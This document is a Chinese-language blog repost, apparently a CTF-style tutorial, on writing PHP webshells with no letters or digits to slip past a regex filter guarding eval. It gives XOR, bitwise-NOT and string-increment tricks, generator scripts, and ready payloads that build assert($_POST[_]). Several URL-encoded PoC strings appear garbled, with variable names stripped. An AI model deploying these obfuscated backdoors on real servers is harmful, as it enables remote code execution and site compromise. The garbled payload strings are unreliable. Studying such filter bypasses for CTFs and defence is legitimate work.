不包含字母和数字的webshell

转载自:

[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum.html)

[无字母数字webshell之提](https://www.leavesongs.com/PENETRATION/webshell-without-
alphanum-advanced.html)[高篇](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum-advanced.html)

首先感谢离别歌师傅的文章,有兴趣的小伙伴可以关注一下离别歌师傅的个人博客:离别歌

目录

  • 基础篇
    • 一、提出问题
    • 二、思路
    • 三、方法一
    • 四、方法二
    • 五、方法三
  • 提高篇
    • PHP7下绕过

基础篇

一、提出问题

如何编写一个不使用字母和数字的webshell?

<?php
highlight_file(__FILE__);
if (!preg_match('/[a-z0-9]/is', $_GET['shell'])) {
    eval($_GET['shell']);
} else {
    echo "hacker";
}

二、思路

使用非数字、字母的字符进行变换来得到字母和数字。

三、方法一

使用异或运算,两个字符串异或操作之后,得到的还是一个字符串,所以我们可以通过两个字符异或运算来得到另外一个字符。

写的PHP代码来得到我们想要的字符串:

<?php
/**
 * 1、我需要做什么?
 * 我需要的是将两个非字母数字的字符异或之后得到某个字母
 * 2、我该怎么做?
 *      使用一个循环来跟指定的字符进行异或,再判断是否是我们想要的内容
 */
$a = "]";
// 这个值必须是没有被过滤的值
$argv = str_split("POST");
// 这里是你要异或得到的值
for ($i = 0; $i < count($argv); $i++) {
    for ($j = 0; $j < 255; $j++) {
        $k = chr($j) ^ $a;
        if ($k == $argv[$i]) {
            $flag = dechex($j);
            if (strlen($flag) < 2) {
                $flag = "%0" . $flag;
                echo "('$flag'^'$a').";
            } else {
                $flag = "%" . $flag;
                echo "('$flag'^'$a').";
            }
        }
    }
}

写的勉勉强强,大佬别骂……

然后我们可以构造这样的内容

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_=assert$__='_'.('%0d'^']').('%12'^']').('%0e'^']').('%09'^']'); // $__=_POST$___=$$__;$_($___[_]); // assert($_POST[_]);

这里有一个疑问,为什么前面的assert跟]搭配就没作用了,后面的POST跟```搭配也没有作用

这里还有一个别人的脚本

<?php
$l = "";
$r = "";
$argv = str_split("POST");
for ($i = 0; $i < count($argv); $i++) {
    for ($j = 0; $j < 255; $j++) {
        $k = chr($j) ^ chr(255);
        // dechex(255) = ff
        if ($k == $argv[$i]) {
            if ($j < 16) {
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "('$l'^'$r')";
?>

// poc$_=('%ff%ff%ff%ff%ff%ff'^'%9e%8c%8c%9a%8d%8b');// assert$__='_'.('%ff%ff%ff%ff'^'%af%b0%ac%ab');// _POST$___=$$__;// $_POST$_($___[_]);// assert($_POST[_])

也是可以使用的

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)

5.3.9<=PHP<=7.0.9

四、方法二

这个方法和第一个方法是差不多的,但是编写脚本……算了吧,我还是使用大佬现成的吧。这个方法是利用取反来得到字母,比如'和'{2}得到的结果为\x8c,取反得到的字母为s。这里想不太明白,复现成功,PHP版本会产生一定的影响,先放在这里,找时间来看看

<?php
$__ = ('>' > '<') + ('>' > '<');
$_ = $__ / $__;
$____ = '';
$___ = "瞰";
$____ .= ~($___{$_});
$___ = "和";
$____ .= ~($___{$__});
$___ = "和";
$____ .= ~($___{$__});
$___ = "的";
$____ .= ~($___{$_});
$___ = "半";
$____ .= ~($___{$_});
$___ = "始";
$____ .= ~($___{$__});
$_____ = '_';
$___ = "俯";
$_____ .= ~($___{$__});
$___ = "瞰";
$_____ .= ~($___{$__});
$___ = "次";
$_____ .= ~($___{$_});
$___ = "站";
$_____ .= ~($___{$_});
$_ = $$_____;
$____($_[$__]);

这里最好进行一次url编码

poc

1
2
3
poc:%24%20%3D%20('%3E'%20%3E%20'%3C')%2B('%3E'%20%3E%20'%3C')%3B%24_%20%3D%20%24%20%2F%20%24%3B%24_%20%3D%20''%3B%24%20%3D%20%22%E7%9E%B0%22%3B%24_%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%92%8C%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E5%92%8C%22%3B%24_%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E7%9A%84%22%3B%24_%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%8D%8A%22%3B%24%20.%3D%20~(%24___%7B%24%7D)%3B%24%20%3D%20%22%E5%A7%8B%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24_%20%3D%20'
_'%3B%24_
%20%3D%20%22%E4%BF%AF%22%3B%24_%20.%3D%20~(%24_%7B%24%7D)%3B%24_%20%3D%20%22%E7%9E%B0%22%3B%24_%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E6%AC%A1%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%22%E7%AB%99%22%3B%24%20.%3D%20~(%24_%7B%24%7D)%3B%24%20%3D%20%24%24_%3B%0A%24(%24_%5B%24__%5D)%3B

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)

5.3.9<=PHP<=7.0.9

这里是利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP是弱类型语言,true的值为1,所以true+true==2,也就是('>'>'<')+('>'>'<')==2

将上面的代码运行一下(这里还有一些注释,大佬果然不一样啊……)

<?php
$__ = ('>' > '<') + ('>' > '<');
// $__ = 2
$_ = $__ / $__;
// $_ = 1
$____ = '';
$___ = "瞰";
$____ .= ~($___{$_});
// $___ = ~("瞰"{1}) => a
$___ = "和";
$____ .= ~($___{$__});
// $___ = ~("和"{2}) => as
$___ = "和";
$____ .= ~($___{$__});
// $___ = ~("和"{2}) => ass
$___ = "的";
$____ .= ~($___{$_});
// $___ = ~("的"{1}) => asse
$___ = "半";
$____ .= ~($___{$_});
// $___ = ~("半"{1}) => asser
$___ = "始";
$____ .= ~($___{$__});
// $___ = ~("始"{2}) => assert
//# 最后:$____ = assert
$_____ = '_';
$_____ = '_';
$___ = "俯";
$_____ .= ~($___{$__});
// $___ = ~("俯"{2}) => _P
$___ = "瞰";
$_____ .= ~($___{$__});
// $___ = ~("瞰"{2}) => _PO
$___ = "次";
$_____ .= ~($___{$_});
// $___ = ~("次"{1}) => _POS
$___ = "站";
$_____ .= ~($___{$_});
// $___ = ~("站"{1}) => _POST
// 最后:$_____ = _POST
$_ = $$_____;// $_POST
$____($_[$__]);// assert($_POST[2])

五、方法三

方法二是使用了位运算,方法三是不再使用位运算来搞定这个题目的,完全阐释了这两张图啊,大佬才能想出来的东西,我直接好家伙……

说了这么多,其实就是'a'++ => 'b','b'++ => 'c',所以我们只要拿到一个变量就可以得到所以的变量了

这时候大佬又正好了,而我是直接放弃了……数组中可以得到大小写a,就相当于我们拿到了所有的字母

利用这个技巧,我们就可以编写如下的webshell了

<?phphighlight_file(__FILE__);$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;// 因为A和S相差18,所以要$__++十八次,下面也是相同的道理$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___($_[_]); // ASSERT($_POST[_]);

php对大小写不敏感,所以使用ASSERT($_POST[_]);也是可以的,运行结果如下:

绕过也是成功的:

老规矩,还是得进行url编码

1
2
3
%24%3D%5B%5D%3B%24%3D%40%22%24%22%3B%24%3D%24%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24%3B%24%3D%24_%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24_.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24__%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24__%3D'
_'%3B%24__
%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24.%3D%24%3B%24%3D%24%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24%2B%2B%3B%24_.%3D%24__%3B%24%3D%24%24%3B%24__(%24%5B_%5D)%3B

经过测试发现:对PHP版本有限制(这只是个人测试的,不代表最终效果)

5.4.45<=PHP<=7.0.9

提高篇

源码:

<?php
if (isset($_GET['code'])) {
    $code = $_GET['code'];
    if (strlen($code) > 35) {
        die("Long.");
    }
    if (preg_match("/[A-Za-z0-9_$]+/", $code)) {
        die("NO.");
    }
    eval($code);
} else {
    highlight_file(__FILE__);
}

PHP7下绕过

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。所以我们构造一个phpinfo字符串即可。

PHP5下绕过

看的有点懵逼,有时间再看看,有兴趣的小伙伴可以去P神的原文看看,文章的顶部有链接,是我太菜了……

再次感谢大佬的文章!